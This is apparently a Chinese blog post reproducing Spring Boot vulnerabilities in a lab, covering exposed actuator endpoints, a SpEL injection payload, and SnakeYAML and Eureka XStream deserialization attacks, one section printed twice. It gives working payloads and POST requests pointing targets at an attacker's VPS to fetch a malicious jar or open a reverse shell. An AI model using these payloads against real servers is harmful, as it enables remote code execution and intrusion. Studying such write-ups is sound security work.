漏洞复现 Spring Boot漏洞

0x01 spring boot

Spring boot 是一个框架。在spring 和spring MVC 的基础上发展而来。spring 是后端开发的一个框架,spring MVC是Spring的一个模块,用于开发WEB应用和网络接口。

个人理解:后端利用spring boot框架,便于前端调用api。

0x02 挖掘spring boot

直接访问以下几个路由,验证漏洞是否存在:

/api-docs
/v2/api-docs
/swagger-ui.html

一些可能会遇到的接口路由变形:

/api.html
/sw
/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest
/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html 
/actuator/jolokia


(建议使用dirsearch)

等等。

0x03 配置不当而暴露的路由 可造成信息泄露等

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置

参考 production-ready-endpoints 和 spring-boot.txt,可能因为配置不当而暴露的默认内置路由可能会有:

/actuator/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
  • /env/actuator/env GET 请求 /env 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文; 同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 漏洞。
  • /jolokia 通过 /jolokia/list 接口寻找可以利用的 MBean,触发相关 RCE 漏洞;
  • /trace 一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息

(从前端代码中找数据传入后端的方法,比如webpack之类的,还要注意调用api的路径)

0x04 获取被星号脱敏的密码的明文

(个人理解:通过 spring boot 设计的缺陷)

利用方式参考:LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)

LandGrey’s Blog

(未做详细测试。。)

0x05 远程代码执行漏洞

whitelabel error page SpEL RCE

利用条件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法:

步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# coding: utf-8

result = ""
target = 'notepad.exe'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))


执行notepad.exe 命令

Payload:
  ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]
  {0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}

漏洞原理:

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

漏洞分析:

​ SpringBoot SpEL表达式注入漏洞-分析与复现

漏洞环境:

repository/springboot-spel-rce

正常访问:

http://127.0.0.1:9091/article?id=66

执行 notepad.exe 命令:

http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}

遇到的问题

ERROR 11056 — [ main] o.s.boot.SpringApplication : Application startup failed

在file–project structure–project settings–project sdk调整为较低版本 ;project language level 为sdk default

参考文章:

LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)

Error:java: 无效的源发行版: 9(已解决) – 云+社区 – 腾讯云 (tencent.com)

(40条消息) 【Java异常】Spring Boot出现警告 WARNING: An illegal reflective access operation has occurred_No8g攻城狮的博客-CSDN博客

(40条消息) Spring-boot远程代码执行系列(whitelabel error page SpEL RCE)_GGyao的博客-CSDN博客


spring cloud SnakeYAML RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法:

步骤一: 托管 yml 和 jar 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload

步骤二: 设置 spring.cloud.bootstrap.location 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
步骤三: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

漏洞原理:

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
  3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
  6. 实例化类时执行恶意代码,造成 RCE 漏洞

漏洞分析:

​ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

漏洞环境:

repository/springcloud-snakeyaml-rce

正常访问:

http://127.0.0.1:9092/env

0x03:eureka xstream deserialization RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法:

步骤一:架设响应恶意 XStream payload 的网站

提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

步骤二:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

漏洞原理:

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
  2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
  3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

漏洞分析:

​ Spring Boot Actuator从未授权访问到getshell

漏洞环境:

repository/springboot-eureka-xstream-rce

正常访问:

http://127.0.0.1:9093/env

分析复现过程,模拟了三个部分,客户端(攻击者),服务器1(被攻击),服务器2(被攻击者控制的),客户端通过修改服务器某个对象的值(使其访问服务器2),提前在服务器2部署文件,利用文件再去调用执行代码。

复现环境:kali 2020 ,win10

在kali上开放一个端口,模拟服务器2(受控服务器),部署example.yml(用于被受攻击服务器访问,调用.jar文件执行代码), yaml-payload.jar(执行代码)

为了从win10访问,我将application.properties中的server.address修改成了虚拟机地址。

涂一下避免误导

这个POST /env 后的结果,spring.cloud.bootstrap.location的值指向了服务器2(受控服务器)

可以看到已经执行了命令(curl http://vm-ip:port/abc)访问了一个不存在的东西。

0x03:eureka xstream deserialization RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法:

步骤一:架设响应恶意 XStream payload 的网站

提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

步骤二:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded #实际测试中 我打这个代码反而不行删了才管用。。

spring 2.x

POST /actuator/refresh
Content-Type: application/json

漏洞原理:

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
  2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
  3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

漏洞分析:

​ Spring Boot Actuator从未授权访问到getshell

漏洞环境:

repository/springboot-eureka-xstream-rce

正常访问:

http://127.0.0.1:9093/env
监听443
运行py代码
涂黑的是自己的虚拟机ip

POST两个数据包后(修改配置、刷新配置)

上一篇
下一篇